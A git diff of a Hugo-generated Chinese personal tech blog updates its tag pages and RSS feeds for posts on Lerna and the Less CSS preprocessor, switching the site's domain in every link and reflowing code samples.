aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Lerna</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Lerna多包管理工具</h2></header><div class=entry-content><p>Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包
 安装Lerna
 npm install –global lerna
 新建git仓库（初始化）
@@ -22,7 +22,7 @@
 注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件
 lerna有两个管理模式，分别是固定模式（默认模式）和独立模式
 固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号
-独立模式：init的时候使用–independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号</p></div><footer class=entry-footer><span title='2021-09-26 12:50:00 +0000 UTC'>2021-09-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Lerna多包管理工具" href=https://xiaochenabc123.github.io/posts/112/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+独立模式：init的时候使用–independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号</p></div><footer class=entry-footer><span title='2021-09-26 12:50:00 +0000 UTC'>2021-09-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Lerna多包管理工具" href=https://chenjunlinabc.github.io/posts/112/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/lerna/index.xml b/tags/lerna/index.xml
index 85181deb..ede293a6 100644
--- a/tags/lerna/index.xml
+++ b/tags/lerna/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Lerna on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/lerna/</link>
+    <link>https://chenjunlinabc.github.io/tags/lerna/</link>
     <description>Recent content in Lerna on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 26 Sep 2021 12:50:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/lerna/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 26 Sep 2021 12:50:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/lerna/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用Lerna多包管理工具</title>
-      <link>https://xiaochenabc123.github.io/posts/112/</link>
+      <link>https://chenjunlinabc.github.io/posts/112/</link>
       <pubDate>Sun, 26 Sep 2021 12:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/112/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/112/</guid>
       <description>Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包
 安装Lerna
 npm install &amp;ndash;global lerna
diff --git a/tags/lerna/page/1/index.html b/tags/lerna/page/1/index.html
index b36c7d56..1ce0b2f2 100644
--- a/tags/lerna/page/1/index.html
+++ b/tags/lerna/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/lerna/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/lerna/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/lerna/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/lerna/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/lerna/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/lerna/"></head></html>
\ No newline at end of file
diff --git a/tags/less/index.html b/tags/less/index.html
index 671f24ae..9bb0cc79 100644
--- a/tags/less/index.html
+++ b/tags/less/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Less | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/less/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/less/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Less"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/less/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Less"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Less</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>CSS预处理器-Less学习笔记</h2></header><div class=entry-content><p>less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Less | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/less/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/less/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Less"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/less/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Less"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Less</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>CSS预处理器-Less学习笔记</h2></header><div class=entry-content><p>less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能
 常见的css预处理器有sass，less，stylus
 less开发手册：https://less.bootcss.com/
 安装less
@@ -20,11 +20,7 @@
 不能以数字开头
 大小写敏感
 例如：
-@color: #ccc;
-#app{
-background-color: @color;
-}
-less编译
+@color: #ccc; #app{ background-color: @color; } less编译
 less提供了一个解析器，通过解析器，编译成css文件
 例如：
 npm
@@ -34,25 +30,8 @@
 vsc插件：Easy LESS（修改保存就自动编译成css文件）
 less嵌套
 子元素嵌套到父元素上（后代选择器）
-#app{
-width: 100px;
-div{
-width: 60px;
-}
-}
-伪类或者伪元素选择之类的，需要加&连接起来，不加则认为是后代
-#app{
-width: 100px;
-a{
-color: #000;
-&:hover{
-color: @color;
-}
-&::before{
-width: 30px;
-}
-} }
-less运算...</p></div><footer class=entry-footer><span title='2021-07-01 15:31:00 +0000 UTC'>2021-07-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to CSS预处理器-Less学习笔记" href=https://xiaochenabc123.github.io/posts/50/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+#app{ width: 100px; div{ width: 60px; } } 伪类或者伪元素选择之类的，需要加&连接起来，不加则认为是后代
+#app{ width: 100px; a{ color: #000; &:hover{ color: @color; } &::before{ width: 30px; } } } less运算...</p></div><footer class=entry-footer><span title='2021-07-01 15:31:00 +0000 UTC'>2021-07-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to CSS预处理器-Less学习笔记" href=https://chenjunlinabc.github.io/posts/50/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/less/index.xml b/tags/less/index.xml
index 83573a8a..315279a4 100644
--- a/tags/less/index.xml
+++ b/tags/less/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Less on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/less/</link>
+    <link>https://chenjunlinabc.github.io/tags/less/</link>
     <description>Recent content in Less on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Thu, 01 Jul 2021 15:31:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/less/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Thu, 01 Jul 2021 15:31:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/less/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>CSS预处理器-Less学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/50/</link>
+      <link>https://chenjunlinabc.github.io/posts/50/</link>
       <pubDate>Thu, 01 Jul 2021 15:31:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/50/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/50/</guid>
       <description>less是一门css扩展语言，是css预处理器，扩展了css的动态特性，在css语法基础上引入了变量，混合，运算和函数等功能
 常见的css预处理器有sass，less，stylus
 less开发手册：https://less.bootcss.com/
@@ -40,7 +40,7 @@ hallo.less
 不能以数字开头
 大小写敏感
 例如：
-@color: #ccc;
#app{
background-color: @color;
}
less编译
+@color: #ccc; #app{ background-color: @color; } less编译
 less提供了一个解析器，通过解析器，编译成css文件
 例如：
 npm
@@ -50,8 +50,8 @@ lessc style.less style.css
 vsc插件：Easy LESS（修改保存就自动编译成css文件）
 less嵌套
 子元素嵌套到父元素上（后代选择器）
-#app{
width: 100px;
div{
width: 60px;
}
}
伪类或者伪元素选择之类的，需要加&amp;amp;连接起来，不加则认为是后代
-#app{
width: 100px;
a{
color: #000;
&amp;amp;:hover{
color: @color;
}
&amp;amp;::before{
width: 30px;
}
} }
less运算</description>
+#app{ width: 100px; div{ width: 60px; } } 伪类或者伪元素选择之类的，需要加&amp;amp;连接起来，不加则认为是后代
+#app{ width: 100px; a{ color: #000; &amp;amp;:hover{ color: @color; } &amp;amp;::before{ width: 30px; } } } less运算</description>
     </item>
     
   </channel>
diff --git a/tags/less/page/1/index.html b/tags/less/page/1/index.html
index 7e947530..3d7802a3 100644
--- a/tags/less/page/1/index.html
+++ b/tags/less/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/less/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/less/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/less/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/less/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/less/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/less/"></head></html>
\ No newline at end of file
diff --git a/tags/linux/index.html b/tags/linux/index.html
index 23a86233..f453db88 100644
--- a/tags/linux/index.html
+++ b/tags/linux/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Linux | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/linux/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/linux/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Linux"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/linux/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Linux"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" 